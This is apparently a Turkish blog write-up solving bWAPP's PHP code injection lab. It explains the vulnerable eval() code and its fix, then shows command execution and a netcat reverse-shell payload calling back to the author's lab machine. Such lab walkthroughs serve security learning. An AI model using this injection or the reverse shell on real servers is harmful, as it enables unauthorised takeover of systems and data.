Php Code Injection | BWAPP
Merhaba. Bu yazımda BWAPP Web Security Challenge içerisinde bulunan Php Code Injection çözümünü yapacağım. BWAPP, web hacking alıştırmaları yapmak için ideal bir zafiyetli uygulamadır. Web Security alanında kendini geliştirmek isteyen herkesin mutlaka incelemesini öneririm.
Php Code Injection Zafiyeti Nedir?
Sunucu taraflı kod enjeksiyonları, keşfedilip exploit edilmeye başlandığında çok tehlikeli sonuçlar ortaya çıkarabilecek bir zafiyet türüdür. Bir kullanıcı tarafından girilen verinin kod içerisinde dinamik olarak yorumlanması sonucu ortaya çıkan bir zafiyettir. Kullanıcı girdileri denetlenmeden ve filtrelenmeden direkt olarak kod içerisinde çalıştırılırsa enjeksiyonu zafiyetini doğurmaktadır. Kullanıcı rastgele kodlar ile sunucuyu ele geçirmelere gidebilecek kadar ilerleyebilmektedir.
Php Code Injection Exploit
İlk olarak “phpi.php” dosyasına giderek zafiyetli kodu inceleyebilirsiniz. Ben aşağıya ekliyorum.
if(isset($_REQUEST["message"]))
{
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
Burada zafiyeti doğuran kod görüldüğü gibi “eval” kodudur. Level easy seçimini yaptığımızda “eval” ile ekrana yansıtılmaktadır ve bu da zafiyeti doğurmaktadır. Ancak aşağıaa medium ve high kod blouğunu görelim.
// If the security level is MEDIUM or HIGH
else
{
?>
<p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>
<?php
}
Burada görüldüğü gibi “eval” yerine “echo” kullanılmaktadır. Kodları inceledikten sonra çözüme devam edelim.
BWAPP ara yüzünden ilgili challenge bölümünü seçelim. Aynı zamanda arka planda Burp Suite ile istekleri de takip ediyorum.
İlk olarak paneli açtığımda sayfada test sayfası mesajı olduğunu söyleyen bir yazı var ve tıklanabilir bir link var. Tıklayıp isteği ve ekrana yansımasını inceleyelim.
Linke tıkladığımızda bir GET isteği gitmekte ve bir parametre almaktadır. Aldığı parametre ise aşağıda ekrana yansıtılmaktadır.
İstekte alınan “test” yazısı ekrana yansıtılmakta. Burada biz challenge php komut enjeksiyonu olduğu için php komutları çalıştırarak zafiyeti tespit edelim.
Yukarıda görüldüğü gibi hedef adres üzerinde system komutları çalıştırabiliyoruz. ls komutu ile bulunduğumuz dizindeki dosyaları listeledik. BWAPP uygulaması ekranında farklı komutlar çalıştırarak inceleyelim.
Burada “whoami” komutunu çalıştırarak www-data çıktısını aldık. “etc/passwd” dosyasını veya diğer daha kritik sunucu bilgileri içeren dosyaları okuyabiliriz. Biz bu zafiyeti kullanarak en tehlikeli sonuçlardan bir tanesi olan komple sunucuyu ele geçirmeyi deneyelim. Bash Reverse Shell kullanarak bağlantı almayı deneyelim. İlk olarak kali linux terminalde netcat ile dinlemeye alalım.
Dinlemeye başladıktan sonra kali makinemizin ip adresini öğrenerek aşağıdaki bash reverse shell çalıştırarak bağlantı almayı deneyeceğiz. BWAPP makinemizin ve Kali makinemizin aynı ip bloğunda olması gerekmektedir. Aynı bloğa aldıktan sonra komutu çalıştıralım.
system("nc -e /bin/sh 192.168.14.133 1071")
Yukarıda görüldüğü gibi başarılı bir şekilde reverse shell elde ettik. Buradan sonra yetki yükseltme vb. teknikler ile ilerlenebilir. Gerçek hayatta böyle bir senaryo oldukça tehlikeli sonuçlar doğuracaktır.
Bir başka yazıda görüşmek üzere.